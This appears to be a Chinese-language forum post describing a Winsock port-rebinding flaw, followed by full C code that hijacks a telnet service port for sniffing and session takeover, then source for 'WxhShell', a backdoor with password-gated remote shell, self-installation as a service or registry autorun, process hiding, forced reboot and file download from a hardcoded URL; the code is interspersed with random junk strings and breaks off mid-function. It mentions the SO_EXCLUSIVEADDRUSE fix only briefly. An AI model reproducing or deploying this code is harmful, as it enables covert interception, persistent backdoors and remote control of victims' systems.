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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @/-\k*T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vTw>JNVI  
GYUn6P  
  saddr.sin_family = AF_INET; p,i[W.dy.'  
jPW#(3hoE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y;@:ulv[  
$[=%R`~w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,]c 1A$Sr0  
3 xp)a%=7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pr UM-u8  
M?uC%x+S$_  
  这意味着什么?意味着可以进行如下的攻击: xAMW-eF?d  
AX/m25x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w!clI8v/  
Z Sd4z:/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Pdt vU-(  
, ^f+^^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $aXer:  
U2s /2 [.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  63,H{  
I,@6J(9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >> fH{/l  
*N'p~LJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "d5n \@[t  
OMg<V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >_ 2dvg=U  
L<{i ,'M  
  #include ThbGQ"/  
  #include )iK6:s #  
  #include pOG1jI5<{8  
  #include    2'MZ s]??w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m#Z# .j_2  
  int main() Is?La  
  { /,Re "!jh  
  WORD wVersionRequested; j+v=Ul|l  
  DWORD ret; FZE"7ec>m  
  WSADATA wsaData; Bad:n o\W  
  BOOL val; O~K>4 ax  
  SOCKADDR_IN saddr; tc{s B\&-  
  SOCKADDR_IN scaddr; mmRJ9OhS  
  int err; =k`Cr0aPF  
  SOCKET s; Qe0lBR?H  
  SOCKET sc; d-r@E3  
  int caddsize; -"60d @.  
  HANDLE mt; H6 HVu |  
  DWORD tid;   @eIJ]p  
  wVersionRequested = MAKEWORD( 2, 2 ); r/6o \-  
  err = WSAStartup( wVersionRequested, &wsaData ); tQYM&6g  
  if ( err != 0 ) { +@k+2?] FO  
  printf("error!WSAStartup failed!\n"); RcU}}V  
  return -1; ' x35=@  
  } !s?nJ(p  
  saddr.sin_family = AF_INET; !6>~?gNd  
   Hm'=aff6A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O]Qd<%V'x  
3Xy-r=N.l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); en*GM}<V  
  saddr.sin_port = htons(23); G`BU=Fi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4s{~r  
  { (uZ&V7l  
  printf("error!socket failed!\n"); mah JSz(3  
  return -1; ZO$m["|  
  } 91-o}|3v  
  val = TRUE; I5n^,@md  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |My4SoOF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \k!{uRy'  
  { 8=uu8-l8g  
  printf("error!setsockopt failed!\n"); x$Oq0d{T  
  return -1; kH7(@Pa  
  } 3e;^/kf<9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]B3=lc"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OGg>#vj,s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 po Vx8oO8  
3L}!RB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `q*M4,  
  { W~9tKT4  
  ret=GetLastError(); qjdMqoOCjl  
  printf("error!bind failed!\n"); (VEpVn3{  
  return -1; e MY<uqdw  
  } ah0`KxO]  
  listen(s,2); *>2W#D)b=  
  while(1) dS!:JO27  
  { OJ5#4qJ[  
  caddsize = sizeof(scaddr); <;m<8RjX  
  //接受连接请求 r@t9Ci=}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _zn.K&I-*k  
  if(sc!=INVALID_SOCKET) *<jAiB ,O*  
  {  fc-iAj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]J$eDbaEjT  
  if(mt==NULL) >\=3:gb:  
  { :AF =<X*5  
  printf("Thread Creat Failed!\n"); ;=; 9tX  
  break; dj7hx"BI  
  } 6GSI"M6s  
  } lc,tVe_  
  CloseHandle(mt); ,\  
  } h!.^?NF  
  closesocket(s); ^N;.cY  
  WSACleanup(); TNY&asQo  
  return 0;  s ;oQS5Y  
  }   1o;J,dYu  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6ZG+ZHUC&  
  { !1DKLQ  
  SOCKET ss = (SOCKET)lpParam; _'>oXQJ  
  SOCKET sc; ``Dq  
  unsigned char buf[4096]; 2ZMb<b4H  
  SOCKADDR_IN saddr; e .2ib?8  
  long num; 6dN7_v)  
  DWORD val; T| V:$D'  
  DWORD ret; '\ey<}?5V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A1D^a,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9m<jcxla$  
  saddr.sin_family = AF_INET; }v*G_}^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4@n1Uk  
  saddr.sin_port = htons(23); y 4I6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :'3XAntZA  
  { MVTMwwO\[  
  printf("error!socket failed!\n"); w?wG(+X7  
  return -1; vss(twg  
  } : $Y9jR  
  val = 100; m)v"3ib  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nj xoTLI  
  { bE#,=OI$  
  ret = GetLastError(); )ufg9"\  
  return -1; luuX2Mx>o  
  } %g$V\zmU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /VS [pXXT|  
  { m~P CB_ifW  
  ret = GetLastError(); (-xS?8x$  
  return -1; QnXA*6DJ  
  } K/b_22]CC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s'a/j)^  
  { !QHFg-=7  
  printf("error!socket connect failed!\n"); 9XyYHi  
  closesocket(sc); P'*)\faw  
  closesocket(ss); V=qwwYz~  
  return -1; pP?MWe Eg  
  } cc&axc7I  
  while(1) Xg SxN!I  
  { v'qG26  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Co9QW/'i  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hMUs" <.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GCX G/k?w:  
  num = recv(ss,buf,4096,0); (m.ob+D  
  if(num>0) 8a="/J  
  send(sc,buf,num,0); XKttZOiGT  
  else if(num==0) i;jw\ed  
  break; QM O!v;  
  num = recv(sc,buf,4096,0); QP)pgAc  
  if(num>0) %Nhx;{  
  send(ss,buf,num,0); 8lb%eb]U  
  else if(num==0) SAK!z!t  
  break; L%K\C  
  } c^u"I'#Q  
  closesocket(ss); ,M6 Sy]Aj  
  closesocket(sc); #qI= Z0Y  
  return 0 ; {u\Mj  
  } "@d[h,TM  
wsN?[=l{s  
}YMy6eW4  
========================================================== t!x5fNo)  
y[\VUzD*'  
下边附上一个代码,,WXhSHELL 6morum  
2f:Eof(B  
========================================================== }i`PGx  
`V"sOTb  
#include "stdafx.h" SWQ5fcPu  
tqeZ#w7  
#include <stdio.h> "D'B3; uWK  
#include <string.h> I8/DR z$A  
#include <windows.h> #hf ak  
#include <winsock2.h> \2}bi:e 6  
#include <winsvc.h> te !S09(  
#include <urlmon.h> {%{ `l-  
@t`Xq1  
#pragma comment (lib, "Ws2_32.lib") gk+h8 LZ  
#pragma comment (lib, "urlmon.lib") }!/$M\w  
!Mim@!5M  
#define MAX_USER   100 // 最大客户端连接数 &f^l ^K 5:  
#define BUF_SOCK   200 // sock buffer Jn3 An  
#define KEY_BUFF   255 // 输入 buffer 1Q4}'0U4  
$Y_i4(  
#define REBOOT     0   // 重启 )h|gwERj  
#define SHUTDOWN   1   // 关机 {]_r W/  
N:tY":Hi  
#define DEF_PORT   5000 // 监听端口 '+vA\(K  
w@ c87;c  
#define REG_LEN     16   // 注册表键长度 |- rI@2`  
#define SVC_LEN     80   // NT服务名长度 rEv*)W  
t|<NI+H(e  
// 从dll定义API ~J8pnTY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); On@<J&%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4RV%Z!kcD!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * Y7jl#7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * U$!I?  
2aB^WY'tC  
// wxhshell配置信息 B`o]*"xkB  
struct WSCFG { S h,&{z!  
  int ws_port;         // 监听端口 'd&0Js$^  
  char ws_passstr[REG_LEN]; // 口令 \nB8WSvk2W  
  int ws_autoins;       // 安装标记, 1=yes 0=no 199]WHc  
  char ws_regname[REG_LEN]; // 注册表键名 'GoZqiYT  
  char ws_svcname[REG_LEN]; // 服务名 Da:unVbU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R8UYP=Kp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mp?78_I)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VX+jadYdq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MJCzo |w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hL;8pE8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !F4@KAv  
J}@z_^|"mJ  
}; VY"9?2?/  
Ra/Ukv_v  
// default Wxhshell configuration 7aYn0_NKp  
struct WSCFG wscfg={DEF_PORT, MXiQ1 x  
    "xuhuanlingzhe", U_$qi  
    1, @~"an qT`  
    "Wxhshell", hf<^/@^tK  
    "Wxhshell", :%AL\ n  
            "WxhShell Service", ;Y mTw  
    "Wrsky Windows CmdShell Service", "zY](P  
    "Please Input Your Password: ", ND,Kldji  
  1, zBp{K@U[|M  
  "http://www.wrsky.com/wxhshell.exe", 8kOKwEX  
  "Wxhshell.exe" N0w`!<y:c  
    }; HCJ>X;(`f?  
7,MS '2nz  
// 消息定义模块 0lsXCr_X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;k86"W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; za9)Q=6FD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rVa?JvDO=  
char *msg_ws_ext="\n\rExit."; |?,[@z _,  
char *msg_ws_end="\n\rQuit."; 7`H 1f]d  
char *msg_ws_boot="\n\rReboot..."; X_G| hx  
char *msg_ws_poff="\n\rShutdown..."; j:&4-K};Z`  
char *msg_ws_down="\n\rSave to "; 'K*AV7>E  
K+)%KP  
char *msg_ws_err="\n\rErr!"; zYv#:>C8  
char *msg_ws_ok="\n\rOK!"; |U k" {  
F3lw@b3])  
char ExeFile[MAX_PATH]; xc:!cA{V  
int nUser = 0; -;XKcS7Ue  
HANDLE handles[MAX_USER]; ~!d/8?!   
int OsIsNt; y}K\%;`[a  
s(LT  
SERVICE_STATUS       serviceStatus; 16EVl~LN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  6vTo*8D  
,prF6*g+WE  
// 函数声明 lvpc*d|K  
int Install(void); X$\i{p9jw  
int Uninstall(void); 9Sq%s&  
int DownloadFile(char *sURL, SOCKET wsh); 5P h X"7  
int Boot(int flag); <U9/InN0[  
void HideProc(void); EQIo5  
int GetOsVer(void); R%H$%cnj  
int Wxhshell(SOCKET wsl); %F9{EXJy  
void TalkWithClient(void *cs); \zkw2*t  
int CmdShell(SOCKET sock); $hVYTy~}  
int StartFromService(void); ]PP:oriWl  
int StartWxhshell(LPSTR lpCmdLine); 4YMX|1wd)  
)Vk6;__  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !epgTN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F;!2(sPS  
L]hXp t  
// 数据结构和表定义 W*:,m8wk  
SERVICE_TABLE_ENTRY DispatchTable[] = tPyyZ#,  
{ desThnT w  
{wscfg.ws_svcname, NTServiceMain},  /n^c>)  
{NULL, NULL} sNHSr  
}; @l(vYJ:f  
eL.7#SIr}  
// 自我安装 G>Em! 4h  
int Install(void) HFQR ;9]  
{ rJ'I>Q~x6  
  char svExeFile[MAX_PATH]; o:dR5v  
  HKEY key; }2r+%V&4  
  strcpy(svExeFile,ExeFile);  5q<zN  
^Ori| 4}'  
// 如果是win9x系统,修改注册表设为自启动 a>B[5I5  
if(!OsIsNt) { DrvtH+e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j?|* LT$%7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -(JUd4#  
  RegCloseKey(key); {,j6\Cj4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pe~`16f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RQvVR  
  RegCloseKey(key); &?p:3%;Dr  
  return 0; |"$uRV=qm  
    } 0-3rQ~u  
  } )W&>[B  
} 5lJ )(|_  
else { 1GE|Wd  
Q1&P@Io$  
// 如果是NT以上系统,安装为系统服务 :y,v&Kk#T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8Chu"PM%-J  
if (schSCManager!=0) Ei@M$Fd  
{ hvt@XZT  
  SC_HANDLE schService = CreateService m>e3vu  
  ( dYojm1MQ  
  schSCManager, *NSlo^R-[  
  wscfg.ws_svcname, pY^9l3y^  
  wscfg.ws_svcdisp, l t]B#, '  
  SERVICE_ALL_ACCESS, }GnwY97  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gCVryB@z2  
  SERVICE_AUTO_START, f.pkQe(  
  SERVICE_ERROR_NORMAL, `Xc irfp  
  svExeFile, 9<]a!:!^  
  NULL, :Px\qh}K  
  NULL, oeL5}U6>g  
  NULL, =j /hl  
  NULL, I7\ &Z q  
  NULL &,-p',\-  
  ); g.#+z'l  
  if (schService!=0) g>7Y~_}  
  { {lzG*4?  
  CloseServiceHandle(schService); >n7["7HHk  
  CloseServiceHandle(schSCManager); _b4fS'[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~j @UlP  
  strcat(svExeFile,wscfg.ws_svcname); <-jGqUN_I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9g?xlue#?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %W|DJ\l8"  
  RegCloseKey(key); Dd2Lx&9  
  return 0; "t&{yBQ0u  
    } /k7wwZiY@  
  } "gNK><  
  CloseServiceHandle(schSCManager); < 3 j~=-  
} hK}bj  
} ]s|lxqP  
G\Q9IcJ0dY  
return 1; Inuc(_I  
} ?Nl"sVCo  
H] qq ~bO[  
// 自我卸载 mR":z|6  
int Uninstall(void) 0B0G2t&hr  
{ LnMwx#^*  
  HKEY key; ,\h YEup  
DB&SOe  
if(!OsIsNt) { hD 46@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (@ea|Fd#4  
  RegDeleteValue(key,wscfg.ws_regname); g^o_\ hp  
  RegCloseKey(key); `.k5v7!o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -%uy63LbHF  
  RegDeleteValue(key,wscfg.ws_regname); 5&4F,v[zp  
  RegCloseKey(key); yCM{M  
  return 0; 4&}\BU*  
  } dB|Te"6  
} a0zG(7.D  
} NR/-m7#-  
else { Xn7 [n  
+6%7C C6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4NVgOr:  
if (schSCManager!=0) &?$\Y,{  
{ q?VVYZXP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ":&|[9/  
  if (schService!=0) JY4_v>Aob  
  { *=^[VV!  
  if(DeleteService(schService)!=0) { 2uo8jF.h  
  CloseServiceHandle(schService); YbvX$/zGu  
  CloseServiceHandle(schSCManager); 5|WOBOh>`&  
  return 0; ^L~ [+|  
  } o?R,0 -  
  CloseServiceHandle(schService); Ry%YM,K3  
  } tvWH04T  
  CloseServiceHandle(schSCManager); KHJ=$5r)  
} mW$ot.I  
} -iQsi4  
E0bFx5e5fu  
return 1; M5+W$W  
} q=[U }{  
tq E>Zx=X  
// 从指定url下载文件 Q}uG/HI  
int DownloadFile(char *sURL, SOCKET wsh) O`[]xs  
{ UIw?;:Y  
  HRESULT hr; s 4IKSX  
char seps[]= "/"; ip5u_Xj ?  
char *token; r|8V @.@i  
char *file; x\;GoGsez  
char myURL[MAX_PATH]; 3Bd4 C]E  
char myFILE[MAX_PATH]; dt.-C_MO  
Nzc>)2% N  
strcpy(myURL,sURL); 59qnEIi  
  token=strtok(myURL,seps); GHrBK&  
  while(token!=NULL) |2UauTp5yK  
  { HU3Vv<lz  
    file=token; bf^ly6ml  
  token=strtok(NULL,seps); /Y^7Rl  
  } c20|Cx2m  
.5k^f5a  
GetCurrentDirectory(MAX_PATH,myFILE); M7H~;S\3IM  
strcat(myFILE, "\\"); xucIjPi]  
strcat(myFILE, file); 7+] F^ 6  
  send(wsh,myFILE,strlen(myFILE),0); B=x~L  
send(wsh,"...",3,0); T.euoFU{Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y%g`FC   
  if(hr==S_OK) &x/k^p=  
return 0; Y=WR6!{  
else NQ3|\<Wt  
return 1; i~AJ.@ #  
w\v&3T   
} I_L;T  
lvig>0:M  
// 系统电源模块 h=wf>^l  
int Boot(int flag) r2)pAiTM*  
{ IHfSkFz`j  
  HANDLE hToken; W.GN0(uG  
  TOKEN_PRIVILEGES tkp; <VgE39 [  
 XDvq7ZD  
  if(OsIsNt) { G32_FQ$ b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n=SzF(S[M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :6sGX p  
    tkp.PrivilegeCount = 1; ;op'V6iG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _PdAN= C3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1uj05aZh}  
if(flag==REBOOT) { (HaU,vP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zrTY1Asw;4  
  return 0; "$%{}{#W0  
} 4] M =q{  
else { HO G=c!b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [@s=J)H  
  return 0; 9M19 UP&  
} E- [:. &  
  } =z']s4  
  else { i!ds{`d  
if(flag==REBOOT) { FRD<0o/`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fzOMX z  
  return 0; 3# :EK M~!  
} <X9T-b"$h  
else { dR%q1Y&`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7j{Te)"  
  return 0; K-ju,4A  
} ,$SkaTBe  
} <y'qo8oqF  
} pSt@3o,  
return 1; |4LQ\'N&  
} 012:BZR  
paUyS1i  
// win9x进程隐藏模块 O\:;q*]  
void HideProc(void) Y~}QJ+`?  
{ .M`LUb"!  
SSo~.)J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xBt4~q;#sE  
  if ( hKernel != NULL ) xg4T` ])  
  { }$&);7(w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [cY?!Qd 0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T\.7f~3  
    FreeLibrary(hKernel); " Tw0a!  
  } d"Ml^rAn  
)62q|c9F  
return; eF*TLI<[^I  
} qL u8!|QT  
}b<87#Nb9R  
// 获取操作系统版本 ArLz;#AOn  
int GetOsVer(void) yg.\^C  
{ K7y!s :rg!  
  OSVERSIONINFO winfo; u_hE7#i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yDDghW'\WU  
  GetVersionEx(&winfo); dW:w<{a!R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T;xHIg4  
  return 1; f45;fT>   
  else &8o  :  
  return 0; |q9,,i}!  
} b"*mi  
o x03c   
// 客户端句柄模块 -(|7`U  
int Wxhshell(SOCKET wsl) Qj{$dqmDN  
{ `mh-pBVD1  
  SOCKET wsh; Q;d+]xj  
  struct sockaddr_in client; H ,01o5J  
  DWORD myID; j P{:A9T\  
dY48S{  
  while(nUser<MAX_USER) ZJ)3GF}4  
{ wCTcGsw W  
  int nSize=sizeof(client); )<m=YI ;<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); + 6i7,U  
  if(wsh==INVALID_SOCKET) return 1; {IF}d*:  
V7Vbl?*n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zWP.1 aA&  
if(handles[nUser]==0) 9 kTD}" %2  
  closesocket(wsh); QfKR pnj(o  
else "Yc^Nc  
  nUser++; L5i#Kh_  
  } u-]vK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g!~-^_F  
5&G Q=m  
  return 0; p3>Q<  
} mdmZ1:PBM  
'Y~8_+J?  
// 关闭 socket JMl ,  N  
void CloseIt(SOCKET wsh) %5( EkP  
{ wliGds  
closesocket(wsh); EIy]qAE:f  
nUser--; 35-DnTv  
ExitThread(0); wC4AVJJ^>  
} `!5tH?bX  
$cp16  
// 客户端请求句柄 UeutFNp  
void TalkWithClient(void *cs) e3oYy#QNk  
{ G!> iqG  
`[g# Mxw  
  SOCKET wsh=(SOCKET)cs; N{0+C?{_  
  char pwd[SVC_LEN]; &Sa_%:*D(  
  char cmd[KEY_BUFF]; \.XT:B_  
char chr[1]; "W3n BaG  
int i,j; '=Ip5A{S/  
v '"1/% L  
  while (nUser < MAX_USER) { rH [+/&w5  
E.WNykF-  
if(wscfg.ws_passstr) { \ (3Qqbw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P22y5z~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DKaG?Y,*p  
  //ZeroMemory(pwd,KEY_BUFF); )U"D4j*p  
      i=0; {d *qlztO  
  while(i<SVC_LEN) { ~(*co[_  
Lv`8jSt\  
  // 设置超时 71}L# nQ  
  fd_set FdRead; F|h ,a;2  
  struct timeval TimeOut; TYmUPS$  
  FD_ZERO(&FdRead); f0N)N}y  
  FD_SET(wsh,&FdRead); Q KDb  
  TimeOut.tv_sec=8; w<8O=  
  TimeOut.tv_usec=0; -E,{r[Sp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0& SrKn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r7wx?{~ 28  
wXIe5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2s]]!{Z#  
  pwd=chr[0]; ;c \zgs~"T  
  if(chr[0]==0xd || chr[0]==0xa) { D!OG307P  
  pwd=0; +lk\oj$S+  
  break; H *z0xxa  
  } KNUMz4  
  i++; gpO_0U4lQ]  
    } nf+"vr}1  
+Y>cBSO  
  // 如果是非法用户,关闭 socket NXV~[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yC&b-y  
} k7Be'E BKG  
It!.*wp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =km-` }I,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <(6-9(zHa  
u\Erta`  
while(1) { 2+r )VF:  
EnsNO_"e|  
  ZeroMemory(cmd,KEY_BUFF); @poMK:  
X&;]  
      // 自动支持客户端 telnet标准   $ uIwRG <  
  j=0; pyb}ha  
  while(j<KEY_BUFF) { I,`D&   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h9)]N&07b  
  cmd[j]=chr[0]; 1_dMe%53  
  if(chr[0]==0xa || chr[0]==0xd) { BW(DaNt^  
  cmd[j]=0; tp,mw24  
  break; "*H'bzK  
  } a_}BTkfHa  
  j++; VES4x%r=  
    } D/%b@Ls2ze  
IZ(CRKCGBl  
  // 下载文件 07G*M ]  
  if(strstr(cmd,"http://")) { >sl1 cC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =+sIX3  
  if(DownloadFile(cmd,wsh)) 5k7(!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +%cr?g  
  else 8d*<Aki?;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KWuj_.;  
  } xa%ktn  
  else { {bq-: CZe  
j}x O34  
    switch(cmd[0]) { e>i8=U` ;  
  {1-CfQ0 8  
  // 帮助 =QxE-)v  
  case '?': { :R_#'i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +ouy]b0`t  
    break; ~"4vd 3  
  } z6>ZV6(d2^  
  // 安装 #t9=qR~"  
  case 'i': { rc{[\1 -N  
    if(Install()) jP7+s.j>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %imBGh  
    else S|5lx7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HDae_.  
    break; .WPR}v,.Z  
    } WU4vb  
  // 卸载 kl{OO%jZ  
  case 'r': { vS,G<V3B  
    if(Uninstall()) v %PWr5]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }rAN2D]"}  
    else AB|VO4-?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p(b1I+!  
    break; =g>7|?6>=  
    } 0tm "kzy  
  // 显示 wxhshell 所在路径 2KNKdV3NK  
  case 'p': { HBf8!\0|/  
    char svExeFile[MAX_PATH]; ]bU'G$Qm&s  
    strcpy(svExeFile,"\n\r"); x) qHeS  
      strcat(svExeFile,ExeFile); i:N^:%  
        send(wsh,svExeFile,strlen(svExeFile),0); %dWFg<< |  
    break; ~9>[U%D  
    } ;g)Fhdy!  
  // 重启 =A&*SE o5  
  case 'b': { 5]n<%bP\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !Pjg&19  
    if(Boot(REBOOT)) -D^y)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EvardUB)  
    else { p(&o'{fb  
    closesocket(wsh); Y`_X@Q  
    ExitThread(0); {*r$m>HpM  
    } <}'B-k9  
    break; VNEZBy"F  
    } Ru\Lr=9  
  // 关机 JX,#W!d  
  case 'd': { 1AkHig,  
